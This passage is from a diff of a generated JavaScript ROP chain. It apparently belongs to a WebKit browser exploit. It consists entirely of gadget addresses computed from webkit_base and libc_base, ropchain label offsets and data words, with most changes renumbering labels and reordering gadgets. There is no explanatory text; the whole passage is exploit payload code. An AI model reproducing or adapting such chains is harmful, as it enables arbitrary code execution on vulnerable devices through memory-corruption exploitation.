+ropchain+77880, //L303 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+77864, //L301 +ropchain+77896, //L304 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); //L301: -db([0, 0]); // 0x0 +db([4294967283, 4294967295]); // -0xd set_gadget(libc_base+792472,); //pop rcx -//L302: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L303: -db([4294967283, 4294967295]); // -0xd +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L304: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L305: +//L306: db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi @@ -2131,7 +2131,7 @@ ropchain+78024, //L307 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+78040, //L308 +ropchain+78040, //L309 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -2139,7 +2139,7 @@ libc_base+206806 //pop rdi //L307: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L308: +//L309: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -2179,12 +2179,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+78312, //L315 +ropchain+78312, //L316 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L315: +//L316: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -2192,16 +2192,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+78392, //L317 +ropchain+78408, //L319 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L317: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L318: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L319: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -2209,7 +2209,7 @@ ropchain+78496, //L320 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+78512, //L321 +ropchain+78512, //L322 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -2217,7 +2217,7 @@ libc_base+206806 //pop rdi //L320: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L321: +//L322: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -2227,23 +2227,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+78696, //L326 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+78680, //L324 +ropchain+78648, //L324 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+78648, //L325 +ropchain+78680, //L325 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L325: +//L324: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L323: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L324: +//L325: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L326: @@ -2289,12 +2289,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+78976, //L332 +ropchain+78976, //L333 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L332: +//L333: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -2325,36 +2325,36 @@ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi ropchain+79288, //L340 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+79256, //L337 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+79240, //L338 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+79272, //L339 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L338: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L337: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L339: +//L337: db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L339: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L340: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+79344, //L341 +ropchain+79344, //L342 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L341: +//L342: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2407,12 +2407,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+79696, //L350 +ropchain+79696, //L351 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L350: +//L351: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2465,12 +2465,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+80048, //L359 +ropchain+80048, //L360 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L359: +//L360: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2538,12 +2538,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+80488, //L370 +ropchain+80488, //L371 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L370: +//L371: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2589,16 +2589,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+80800, //L377 +ropchain+80816, //L379 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L377: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L378: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L379: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -2606,7 +2606,7 @@ ropchain+80904, //L380 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+80920, //L381 +ropchain+80920, //L382 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -2614,7 +2614,7 @@ libc_base+206806 //pop rdi //L380: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L381: +//L382: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -2654,12 +2654,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+81192, //L388 +ropchain+81192, //L389 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L388: +//L389: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -2676,16 +2676,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+81320, //L391 +ropchain+81336, //L393 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L391: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L392: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L393: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -2693,7 +2693,7 @@ ropchain+81424, //L394 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+81440, //L395 +ropchain+81440, //L396 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -2701,7 +2701,7 @@ libc_base+206806 //pop rdi //L394: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L395: +//L396: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -2711,23 +2711,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+81624, //L400 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+81608, //L398 +ropchain+81576, //L398 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+81576, //L399 +ropchain+81608, //L399 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L399: +//L398: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L397: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L398: +//L399: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L400: @@ -2794,12 +2794,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+82024, //L408 +ropchain+82024, //L409 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L408: +//L409: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -2832,16 +2832,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+82240, //L414 +ropchain+82256, //L416 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L414: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L415: db([4294967283, 4294967295]); // -0xd +set_gadget(libc_base+792472,); //pop rcx +//L416: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -2849,7 +2849,7 @@ ropchain+82344, //L417 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+82360, //L418 +ropchain+82360, //L419 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -2857,43 +2857,43 @@ libc_base+206806 //pop rdi //L417: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L418: +//L419: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi ropchain+82520, //L423 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+82488, //L420 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+82472, //L421 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+82504, //L422 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L421: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L420: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L422: +//L420: db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L422: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L423: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+82576, //L424 +ropchain+82576, //L425 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L424: +//L425: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2946,12 +2946,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+82928, //L433 +ropchain+82928, //L434 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L433: +//L434: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -3019,12 +3019,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+83368, //L444 +ropchain+83368, //L445 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L444: +//L445: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -3070,16 +3070,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+83680, //L451 +ropchain+83696, //L453 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L451: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L452: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L453: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -3087,7 +3087,7 @@ ropchain+83784, //L454 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+83800, //L455 +ropchain+83800, //L456 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3095,7 +3095,7 @@ libc_base+206806 //pop rdi //L454: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L455: +//L456: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -3135,12 +3135,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+84072, //L462 +ropchain+84072, //L463 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L462: +//L463: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -3148,16 +3148,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+84152, //L464 +ropchain+84168, //L466 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L464: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L465: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L466: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -3165,7 +3165,7 @@ ropchain+84256, //L467 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+84272, //L468 +ropchain+84272, //L469 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3173,7 +3173,7 @@ libc_base+206806 //pop rdi //L467: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L468: +//L469: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -3183,23 +3183,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+84456, //L473 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+84440, //L471 +ropchain+84408, //L471 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+84408, //L472 +ropchain+84440, //L472 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L472: +//L471: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L470: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L471: +//L472: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L473: @@ -3245,12 +3245,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+84736, //L479 +ropchain+84736, //L480 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L479: +//L480: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -3284,16 +3284,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi //L485: libc_base+793877, //pop rsi -ropchain+84952, //L486 +ropchain+84968, //L488 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L486: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L487: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L488: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -3301,7 +3301,7 @@ ropchain+85056, //L489 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+85072, //L490 +ropchain+85072, //L491 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3309,7 +3309,7 @@ libc_base+206806 //pop rdi //L489: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L490: +//L491: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -3319,23 +3319,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+85256, //L495 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+85240, //L493 +ropchain+85208, //L493 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+85208, //L494 +ropchain+85240, //L494 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L494: +//L493: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L492: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L493: +//L494: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L495: @@ -3374,16 +3374,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+85496, //L500 +ropchain+85512, //L502 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L500: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L501: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L502: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -3406,16 +3406,16 @@ libc_base+811575, //pop rsp ropchain+73968, //L202 //L235: libc_base+793877, //pop rsi -ropchain+85672, //L505 +ropchain+85688, //L507 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L505: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L506: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L507: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -3423,7 +3423,7 @@ ropchain+85776, //L508 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+85792, //L509 +ropchain+85792, //L510 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3431,25 +3431,25 @@ libc_base+206806 //pop rdi //L508: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L509: +//L510: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+85912, //L512 +ropchain+85896, //L511 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+85928, //L513 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+85896, //L511 +ropchain+85912, //L512 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L511: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L512: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -3593,7 +3593,7 @@ ropchain+86752, //L531 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+86768, //L532 +ropchain+86768, //L533 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3601,35 +3601,35 @@ libc_base+206806 //pop rdi //L531: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L532: +//L533: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+86872, //L535 +ropchain+86872, //L536 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+86856, //L534 +ropchain+86888, //L537 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); //L534: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadget(libc_base+792472,); //pop rcx -//L535: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L536: -db([4294967288, 4294967295]); // -0x8 +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L537: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L538: +//L539: db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi @@ -3638,7 +3638,7 @@ ropchain+87016, //L540 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+87032, //L541 +ropchain+87032, //L542 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3646,7 +3646,7 @@ libc_base+206806 //pop rdi //L540: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L541: +//L542: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -3686,12 +3686,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+87304, //L548 +ropchain+87304, //L549 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L548: +//L549: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -3700,18 +3700,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+87384, //L552 +ropchain+87384, //L551 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L552: +//L551: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L550: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L551: +//L550: db([1, 0]); // 0x1 +set_gadget(libc_base+792472,); //pop rcx +//L552: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -3746,12 +3746,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+87648, //L557 +ropchain+87648, //L558 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L557: +//L558: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -3764,16 +3764,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+87752, //L559 +ropchain+87768, //L561 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L559: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L560: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L561: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -3781,7 +3781,7 @@ ropchain+87856, //L562 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+87872, //L563 +ropchain+87872, //L564 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3789,7 +3789,7 @@ libc_base+206806 //pop rdi //L562: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L563: +//L564: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -3829,12 +3829,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+88144, //L570 +ropchain+88144, //L571 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L570: +//L571: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -3843,18 +3843,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+88224, //L574 +ropchain+88224, //L573 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L574: +//L573: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L572: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L573: +//L572: db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L574: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -3889,12 +3889,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+88488, //L579 +ropchain+88488, //L580 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L579: +//L580: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -3936,16 +3936,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+88752, //L586 +ropchain+88768, //L588 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L586: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L587: db([16, 